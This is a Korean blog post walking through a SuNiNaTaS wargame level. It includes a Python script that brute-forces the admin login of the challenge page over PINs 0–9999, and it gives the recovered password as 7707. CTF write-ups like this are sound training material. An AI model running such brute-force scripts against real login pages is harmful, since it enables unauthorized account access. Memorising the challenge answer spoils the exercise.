WarGame/SuNiNaTaS

SuNiNaTaS - 8번

Alioth02 2024. 4. 16. 21:58

평범한 로그인 페이지가 보인다.

admin 계정으로 로그인을 시도해보고,

SQL 쿼리도 날려봤지만 별다른 반응이 없었다.

소스코드를 확인해보니,

비밀번호는 4자리로 제한돼 있었고,

힌트를 보면

계정은 admin

비밀번호는 0~9999 중 하나라고 돼 있다.

import requests

url = 'http://suninatas.com/challenge/web08/web08.asp'
password = 0

for i in range(0, 9999):
    account = {'id':'admin', 'pw': i}
    response = requests.post(url, data=account)
    
    if("Authkey" in response.text):
        password = i
        break
    print(i)
    
print('password : ', password)

Burp Suite 의 intruder 기능을 사용해도 좋지만

필자는 무료 버전이라 속도가 느려서

파이썬 코드를 작성했다.

해당 코드는 문제 페이지에 admin 이란 계정의 로그인 시도를

비밀번호 0 에서 부터 9999 까지 Brute Force 하는 코드이다.

코드를 실행해보니,

admin의 비밀번호는 7707 라는 것을 알 수 있다.

ID : admin
PW : 7707

얻은 비밀번호로 로그인을 시도해보니,

AuthKey를 얻을 수 있었다.